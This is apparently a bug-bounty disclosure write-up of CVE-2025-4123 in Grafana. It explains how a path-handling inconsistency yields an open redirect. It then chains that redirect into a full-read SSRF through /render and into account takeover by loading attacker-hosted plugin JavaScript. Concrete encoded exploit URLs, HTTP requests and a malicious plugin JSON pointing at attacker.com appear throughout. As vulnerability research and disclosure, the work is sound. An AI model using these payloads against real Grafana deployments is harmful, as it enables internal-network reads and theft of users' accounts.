Grafana Full read SSRF and Account Takeover: CVE-2025-4123
Summary
An open redirect happens when a web application takes a URL parameter and redirects the user to the specified URL without validating it.
/redirect?url=https://evil.com
–> (302 Redirect) –> https://evil.com
This might not seem dangerous on its own, but this type of bug was the starting point for uncovering two separate vulnerabilities: a Full Read SSRF and an account takeover. In this post, I’ll walk through the full process of how I found them — step by step.
Why Grafana?
Grafana is an open-source analytics platform, built mainly in Go and TypeScript, used to visualize data from sources like Prometheus and InfluxDB. I thought finding a vulnerability in this web app would be a good challenge, so I downloaded the source code and started debugging — even though it was my first time working with Go. I decided to focus on the unauthenticated parts of the application.
Entry point: Open Redirect
I went through all the unauthenticated endpoints defined in api/api.go
...
// not logged in views
r.Get("/logout", hs.Logout)
r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...
r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)
r.Get("/login", hs.LoginView)
r.Get("", hs.Index)
// authed views
r.Get("/", reqSignedIn, hs.Index)
r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)
...
Functionality
I even dug deeper to inspect the middlewares used across the application. That’s when I came across a function responsible for handling static routes — and it caught my attention.
func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {
if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
return false
}
file := ctx.Req.URL.Path
for _, p := range opt.Exclude {
if file == p {
return false
}
}
// if we have a prefix, filter requests by stripping the prefix
if opt.Prefix != "" {
if !strings.HasPrefix(file, opt.Prefix) {
return false
}
file = file[len(opt.Prefix):]
if file != "" && file[0] != '/' {
return false
}
}
f, err := opt.FileSystem.Open(file)
if err != nil {
return false
}
..............
}
The function was used to retrieve files from the system based on user input. Naturally, my first thought was to try loading arbitrary files using path traversal techniques like ../
or similar tricks.
I’ll explain you the flow of all the code and sanitizations in place (Important to understand the vulnerability):
So if you request /public/file/../../../name
, the path gets sanitized and resolves to /staticfiles/etc/etc/name
, effectively blocking access to unintended files outside the intended directory.
Additionally, if the resolved final path points to a folder, the StaticHandler
function checks for a default file inside it — typically serving /index.html
from that directory.
if fi.IsDir() {
// Redirect if missing trailing slash.
if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
path := fmt.Sprintf("%s/", ctx.Req.URL.Path)
if !strings.HasPrefix(path, "/") {
// Disambiguate that it's a path relative to this server
path = fmt.Sprintf("/%s", path)
} else {
// A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
rePrefix := regexp.MustCompile(`^(?:/\\|/+)`)
path = rePrefix.ReplaceAllString(path, "/")
}
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
}
file = path.Join(file, opt.IndexFile)
indexFile, err := opt.FileSystem.Open(file)
....
}
As you can see, if the final file is a directory and the provided route (/public/build
) does not end with a /
, the server redirects to the same path with a trailing /
appended.
GET /public/build HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/build/
This redirection behavior is where the open redirect vulnerability occurs, so let’s dive into that next.
Objective
I have a scenario where the application is redirecting based on the provided route, so the final redirection URL will always start with /
. My objective is to create a route that, when requested, redirects to a valid full URL starting with /
, such as:
//attacker.com/...
–>//
indicates a protocol-relative URL, which uses the same protocol as the current page (HTTPS)/\attacker.com/...
–>/\
does the same
Problems and Solutions
Valid Directory
To reach the redirect functionality, I need a route that starts with /public/
and, when passed to opt.FileSystem.Open(file)
, resolves to a valid directory.
I started with /public/\attacker.com/../..
, which resolves to an empty string ""
and is then appended to /staticfiles/etc/etc/
, triggering the if fi.isDir(){}
code flow.
/public/\attacker.com/../..
–>
/\attacker.com/../..
–> ""
–>
/staticfiles/etc/etc/
+""
–> fi.isDir() TRUE
Now, I have a way to inject any payload that will be interpreted as a folder by opt.FileSystem.Open(file)
.
/public/{}/../../..
Inconsistency
Once inside the isDir()
part, the /public/\attacker.com/../..
path reaches the http.Redirect()
function. The problem is that this function also resolves the path, which results in the redirect path being /
.
if fi.IsDir() {
...
//path is "/public/\attacker.com/../.." but the final redirect is "/"
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return true
...
}
If I request /public/\attacker.com/../..
GET /public/\attacker.com/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /
So, basically,
I need to create a route where /../../..
is resolved by opt.FileSystem.Open(file)
when loading the file,
but remains unresolved in http.Redirect()
when performing the redirect.
The path is being parsed differently in each case.
opt.FileSystem.Open(file)
expects a system filehttp.Redirect(path)
expects an url path
The question is the answer
?
opt.FileSystem.Open(file)
treats?
as a normal character.http.Redirect(path)
interprets?
as the beginning of URL parameters.
That means that /public/\attacker.com/?/../../../..
will be treated like this:
opt.FileSystem.Open()
:
/public/\attacker.com/?/../../../..
=""
–>/staticfiles/etc/etc/
+""
is a valid folder.
http.Redirect()
:
/public/\attacker.com/?/../../../..
–> Anything following?
is treated as a query string and is not resolved as part of the path.
Request with ?
-> %3f
:
GET /public/\attacker.com/%3f/../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /public/\attacker.com/?/../../
Final payload
The URL /public/\attacker.com/?/../../../..
needs to be resolved to a full URL starting with /\
.
I simply used this path: /public/../\attacker.com/?/../../../..
When http.Redirect() resolves the path, it removes the /public
part.
Request:
GET /public/../\attacker.com/%3f/../../../../../.. HTTP/1.1
Host: 192.168.100.2:3000
HTTP/1.1 302 Found
Location: /\attacker.com/?/../../../../../../
Summary
Full Read SSRF
That open redirect doesn’t have any serious security impact by itself, so I need to chain it with another functionality.
Grafana has an endpoint called /render
, which is used to generate images based on the provided path.
// rendering
r.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
This endpoint uses a headless browser to render the HTML of the route specified by the user, it only accepts relative URL paths /route
and does not allow rendering content from absolute URLs https://...
.
But what if I use the open redirect I found to redirect to an internal service?
First, I tried to load google.es
with /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
Then I set up an internal service that’s inaccessible from the outside
And I tried loading 127.0.0.1:1234
with /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
With this exploit, I was able to fully read internal services. Since a browser is used for rendering, I can even send POST
requests by crafting a form that targets the internal service.
Grafana’s public program on Intigriti doesn’t include the /render
endpoint in scope because it’s not enabled by default.
Also, this bug requires sign-in, so I can’t gain anything from it.
Account Takeover through XSS
This is probably the best bug chain I’ve ever exploited to achieve XSS and account takeover.
Client-side Path Traversal
A significant part of Grafana’s client-side code allows client-side path traversal.
For example, when you load /invite/1
in the browser, the JavaScript makes a request to /api/user/invite/1
to retrieve the invite information.
However, if you load /invite/..%2f..%2f..%2f..%2froute
, the JavaScript resolves the path traversal and ends up loading /route
.
This creates the perfect scenario to force the JavaScript to load the open redirect, which in turn fetches a specially crafted JSON from my server.
But first, I need to find an endpoint that loads content in an unsafe way and exploit it to execute JavaScript.
Loading a malicious javascript file
You can use /a/plugin-app/explore
to load and manage a plugin app.
The JavaScript of this functionality extracts plugin-app name from the URL and uses it to request plugin information from /api/plugins/plugin-app/settings
.
The /api/plugins/plugin-app/settings
file looks like this.
{
"name": "plugin-app",
"type": "app",
"id": "plugin-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "/modules/..../plugin-app.js", //js file to load
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {
"name": "Grafana"
...
}
}
...
}
/a/plugin-app/explore
loads that file, and executes the javascript provided in the "module"
parameter.
/a/plugin-app/explore
is vulnerable to client-side path traversal, which allows me to load any route on the server instead of /api/plugin-app/settings
.
This lets me load the open redirect, and as a result, fetch my own malicious JSON containing any JavaScript file I want.
So basically, I set up my own server with all the necessary JS and JSON files. I just need to host a JSON like this:
{
"name": "ExploitPluginReq",
"type": "app",
"id": "grafana-lokiexplore-app",
"enabled": true,
"pinned": true,
"autoEnabled": true,
"module": "http://attacker.com/file?js=file", //malicious js file
"baseUrl": "public/plugins/grafana-lokiexplore-app",
"info": {
"author": {...}
}
...
}
And load this route, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
which exploits the client-side path traversal and the open redirect.
The result:
My malicious JavaScript file gets executed, allowing me to change the victim’s email and reset their password.
Summary
I always thought Grafana would be an impossible target to hack. It looks so sophisticated and secure — and to be fair, it truly is.
But discovering this vulnerability proves that no matter how secure an application may seem, it always has, or will eventually have, vulnerabilities.
I was rewarded with $3,700 (€3,289), although I couldn’t escalate the bug further by reporting it to multiple bug bounty programs, since both exploitation paths require authentication